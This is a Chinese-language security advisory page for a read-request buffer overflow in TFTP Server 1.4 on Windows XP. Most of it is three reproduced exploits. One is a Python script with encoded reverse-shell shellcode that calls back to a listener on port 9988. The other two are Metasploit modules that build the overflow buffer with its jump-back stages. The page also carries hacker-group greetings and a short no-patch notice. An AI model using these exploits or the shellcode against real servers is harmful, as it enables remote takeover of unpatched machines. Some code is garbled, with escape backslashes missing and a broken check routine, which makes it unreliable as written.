发布日期：2012-01-11
更新日期：2012-05-16受影响系统：
sourceforge tftp-server 1.4
描述：
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BUGTRAQ ID: 51364TFTP Server是用于PXEBOOT的免费多线程TFTP服务器。TFTP Server 1.4在实现上存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。<*来源：b33f
*>测试方法：
--------------------------------------------------------------------------------警 告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！b33f （）提供了如下测试方法：
http://www.securityfocus.com/data/vulnerabilities/exploits/51364.py
http://www.securityfocus.com/data/vulnerabilities/exploits/51364.rb
http://www.securityfocus.com/data/vulnerabilities/exploits/51364-2.rb#！/usr/bin/python#---------------------------------------------------------------------------#
# Exploit: TFTP SERVER V1.4 ST （RRQ Overflow） #
# OS: Windows XP PRO SP3 #
# Author: b33f #
#---------------------------------------------------------------------------#
# Smashing the stack for fun and practise... #
# #
# This tftp service have been pwned extensively: #
# （1） Muts ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/5314/ #
# （2） Molotov ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/10542/ #
# （3） tixxDZ ==> ERROR Overflow #
# http://www.exploit-db.com/exploits/5563/ #
# #
# Vulnerable software: #
# http://www.exploit-db.com/application/5314/ #
#---------------------------------------------------------------------------#
# After some simple fuzzing with spike I discovered that sending a Read #
# Request （RRQ） packet can also trigger a buffer overflow... #
#---------------------------------------------------------------------------#
# It might take up to 30 seconds for some reason but the shell does appear #
# as expected.... #
# #
# root@bt:~# nc -lvp 9988 #
# listening on [any] 9988 ... #
# 192.168.111.128: inverse host lookup failed: Unknown server error #
# connect to [192.168.111.132] from （UNKNOWN） [192.168.111.128] 1072 #
# Microsoft Windows XP [Version 5.1.2600] #
# （C） Copyright 1985-2001 Microsoft Corp. #
# #
# C:Program FilesTFTPServer> #
#---------------------------------------------------------------------------#import socket
import syshost = "192.168.111.128"
port = 69try:
s = socket.socket（socket.AF_INET, socket.SOCK_DGRAM）
except:
print "socket（） failed"
sys.exit（1）#msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b "x00"
#x86/shikata_ga_nai succeeded with size 341 （iteration=1）
shell = （
"xbbx3cxefxdbxc5xdbxddxd9x74x24xf4x5ax29xc9xb1"
"x4fx31x5ax14x83xc2x04x03x5ax10xdex1ax27x2dx97"
"xe5xd8xaexc7x6cx3dx9fxd5x0bx35xb2xe9x58x1bx3f"
"x82x0dx88xb4xe6x99xbfx7dx4cxfcx8ex7ex61xc0x5d"
"xbcxe0xbcx9fx91xc2xfdx6fxe4x03x39x8dx07x51x92"
"xd9xbax45x97x9cx06x64x77xabx37x1exf2x6cxc3x94"
"xfdxbcx7cxa3xb6x24xf6xebx66x54xdbxe8x5bx1fx50"
"xdax28x9exb0x13xd0x90xfcxffxefx1cxf1xfex28x9a"
"xeax75x43xd8x97x8dx90xa2x43x18x05x04x07xbaxed"
"xb4xc4x5cx65xbaxa1x2bx21xdfx34xf8x59xdbxbdxff"
"x8dx6dx85xdbx09x35x5dx42x0bx93x30x7bx4bx7bxec"
"xd9x07x6exf9x5bx4axe7xcex51x75xf7x58xe2x06xc5"
"xc7x58x81x65x8fx46x56x89xbax3exc8x74x45x3exc0"
"xb2x11x6ex7ax12x1axe5x7ax9bxcfxa9x2ax33xa0x09"
"x9bxf3x10xe1xf1xfbx4fx11xfaxd1xf9x16x6dx1ax51"
"xf7xeaxf2xa0x07xd4x06x2cxe1x70x17x78xbaxecx8e"
"x21x30x8cx4fxfcxd0x2dxddx9bx20x3bxfex33x77x6c"
"x30x4ax1dx80x6bxe4x03x59xedxcfx87x86xcexcex06"
"x4ax6axf5x18x92x73xb1x4cx4ax22x6fx3ax2cx9cxc1"
"x94xe6x73x88x70x7exb8x0bx06x7fx95xfdxe6xcex40"
"xb8x19xfex04x4cx62xe2xb4xb3xb9xa6xc5xf9xe3x8f"
"x4dxa4x76x92x13x57xadxd1x2dxd4x47xaaxc9xc4x22"
"xafx96x42xdfxddx87x26xdfx72xa7x62"）#---------------------------------------------------------------------------#
# （1） Stage1: 0x00409605 TFTPServer.exe - PPR #
# => 3-byte overwrite using the mandatory protocol null-byte. #
# （2） Stage2: jump back 5-bytes "xEBxF9" so we have room for a far jump. #
# （3） Stage3: jump back 1490-bytes to the beginning of our buffer. #
# （4） Stage4: reverse shell port 9988 - size 341 #
#---------------------------------------------------------------------------#stage4 = "x90"*50 + shell
stage3 = "xE9x2ExFAxFFxFF"
stage2 = "xEBxF9x90x90"
stage1 = "x05x96x40"filename = stage4 + "A"*（1487-len（stage4）） + stage3 + stage2 + stage1
mode = "netascii"
youlose = "x00x01" + filename + "x00" + mode + "x00"
s.sendto（youlose, （host, port））1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /" __ /"__` / \__ /"__` 0
0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1
1 /_/ /" _ ` / /_/_\_<_ /"___ / /`"__ 0
0 / / / / \__/ \_ \_ / 1
1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0
0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1
1 \____/ >> Exploit database separated by exploit 0
0 /___/ type （local, remote, DoS, etc.） 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I"m KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1###
# Title : TFTP SERVER v1.4 （RRQ） Remote Root BOF Exploit （MSF）
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com （ked-h@1337day.com） | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud （30500） - Algeria -（00213555248701）
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com
# Facebook : http://facebook.com/KedAns
# platform : windows （Remote）
# Type : Remote r00t & Buffer Ov3rfl0w
# Tested on : winXP sp3 （en）
#####
# I"m BaCk fr0m OURHOUD ^__^ .. I m！Ss tHe Explo！tInG <3 <3 ^_*
####
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev！LsCr！pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl！n * soucha * dr.R！dE .. |
# | ------------------------------------------------- < |
####
# $Id: tftp14rrq_bof.rb | 2012-01-15 | 00:01 | KedAns-Dz $
##require "msf/core"class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking include Msf::Exploit::Remote::Ftp def initialize（info = {}）
super（update_info（info,
"Name" => "TFTP SERVER v1.4 （RRQ） Remote Root BOF Exploit",
"Description" => %q{
This module exploits a After some simple fuzzing with spike I discovered that sending a Read
Request （RRQ） packet can also trigger a buffer overflow
},
"Author" => [
"KedAns-Dz <ked-h[at]hotmail.com>", # t0 MSF
],
"License" => MSF_LICENSE,
"Version" => "$Revision: 0.1",
"References" =>
[
[ "URL", "http://1337day.com/exploits/17361" ], # by b33f
[ "URL", "http://www.exploit-db.com/exploits/10542" ], # by Molotov
],
"DefaultOptions" =>
{
"EXITFUNC" => "process",
},
"Payload" =>
{
"BadChars" => "x00x0d",
},
"Platform" => "win",
"Targets" =>
[
[ "TFTP SERVER v1.4 （Windows XP-SP3 / netascii mod）",
{
"Ret" => 0x00409605, # ppr （from TFTPServer.exe）
"Offset" => 93,
"Mode" => "netascii"
}
], ],
"DefaultTarget" => 0））
end
def check
connect
disconnect if （banner =~ /TFTP SERVER v1.4/）
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end def exploit
connect_login print_status（"Trying target #{target.name}..."） buf = make_nops（target["Offset"]） # Nop"s
buf << payload.encoded
buf << "x41" * 1487
buf << "xE9x2ExFAxFFxFF" # jump back
buf << "xEBxF9x90x90" # jump back 5-bytes
buf << [target.ret].pack（"V"）
buf << make_nops（18） # Padding
dz = "x00x01"
dz << buf
dz << "x00"
dz << [target["Mode"]
dz << "x00"
send_cmd（dz, false ） handler
disconnect
end
end#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS （www.1337day.com）
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT！-Tr0J4n *
# Angel Injection （www.1337day.com/team） * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck （exploit-id.com） * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev！LsCr！pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================require "msf/core"class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize（info = {}）
super（update_info（info,
"Name" => "TFTP server 1.4 ST（RRQ） Buffer overflow",
"Description" => %q{
This exploit creats buffer overflow by sending a Read Request （RRQ） packet can also trigger a buffer overflow...
},
"Author" => "JK and b33f",
"Version" => "",
"References" =>
[
["URL", "http://securtyresearch.in/"],
["URL",""]
],
"DefaultOptions" =>
{
"EXITFUNC" => "thread",
},
"Payload" =>
{
"Space" => 500,
"BadChars" => "x00",
},
"Platform" => "win",
"Targets" =>
[
[ "TFTP server v1.4 Windows XP SP3", { "Ret" => 0x00409605 } ],
[ "TFTP server v1.4 Windows XP SP0", { "Ret" => 0x00418000 } ]
],
"Privileged" => true,
"DefaultTarget" => 0,
"DisclosureDate" => "Apr 12 2012"）） register_options（[Opt::RPORT（69）], self.class）
end def exploit
connect_udp
stage ="x00x01"
stage << make_nops（50） + payload.encoded
stage << rand_text_alpha（1487 - （payload.encoded.length+50））
stage << "xE9x2ExFAxFFxFF"
stage << "xEBxF9x90x90"
stage << [target.ret].pack（"V"）
stage <<"x00"
stage << "netascii"
stage << "x00"
#youlose = "x00x01" + filename + "x00"
udp_sock.put（stage）
disconnect_udp
endend建议：
--------------------------------------------------------------------------------
厂商补丁：sourceforge
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://jocr.sourceforge.net/index.htmlHitachi IT Operations Director跨站脚本执行和拒绝服务漏洞Cisco IOS XR 3.8至4.1版本NETIO和IPV4_IO进程拒绝服务漏洞相关资讯 溢出漏洞 缓冲区溢出漏洞
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